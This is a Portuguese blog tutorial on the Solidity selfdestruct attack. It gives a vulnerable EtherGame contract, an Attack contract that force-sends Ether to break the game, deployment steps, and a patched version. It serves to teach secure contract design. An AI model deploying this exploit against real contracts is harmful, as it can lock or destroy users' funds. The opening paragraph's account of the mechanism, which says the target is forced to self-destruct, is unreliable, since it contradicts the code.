Ataques com Auto-destruição

porMatheusem19/06/2022

Nesse artigo iremos aprender a como um contrato malicioso de auto-destruição funciona e como previnir um ataque em seu contrato inteligente.

Vulnerabilidade

Um contrato malicioso pode usar do selfdestruct para forçar o contrato atacado a se auto-destruir e enviar todo o saldo de Ether (ou o token da rede escolhida) para um contrato designado.

A exploração do ataque por auto-destruição, permite que o contrato B chame A chamando a função selfdestruct passando o endereço do contrato por parâmetro, e se for bem sucedido, o saldo do contrato A é enviado para um endereço designado.

Um exemplo de como um ataque funciona:
O objetivo deste jogo é ser o 7º jogador a depositar 1 Ether.
Os jogadores podem depositar apenas 1 Ether por vez.
O vencedor poderá retirar todo o Ether.

  1. Implante o contrato EtherGame
  2. Os jogadores (digamos Alice e Bob) decidem jogar, depositam 1 Ether cada
  3. Implante o ataque com o endereço do EtherGame como parâmetro
  4. Chame Attack.attack enviando 5 ether. Isso vai quebrar o jogo, ninguém pode se tornar o vencedor.

O que aconteceu?
O ataque forçou o equilíbrio do EtherGame a ser igual a 7 ether.
Agora ninguém pode depositar e o vencedor não pode ser definido.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "Você só pode enviar 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "O jogo acabou");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Não é o vencedor");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Falha ao enviar Ether");
}
}
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function attack() public payable {
// Você pode simplesmente quebrar o jogo enviando ether para que
// o saldo do jogo >= 7 ether
// cast endereço para pagar
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}

Técnicas Preventivas

  • Não confie em address(this).balance, procure sempre utilizar uma maneira mais segura de retornar e verificar o saldo de um endereço
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract EtherGame {
uint public targetAmount = 3 ether;
uint public balance;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "Você só pode enviar 1 Ether");
balance += msg.value;
require(balance <= targetAmount, "O jogo acabou");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Não é o vencedor");
(bool sent, ) = msg.sender.call{value: balance}("");
require(sent, "Falha ao enviar Ether");
}
}

Testar no Remix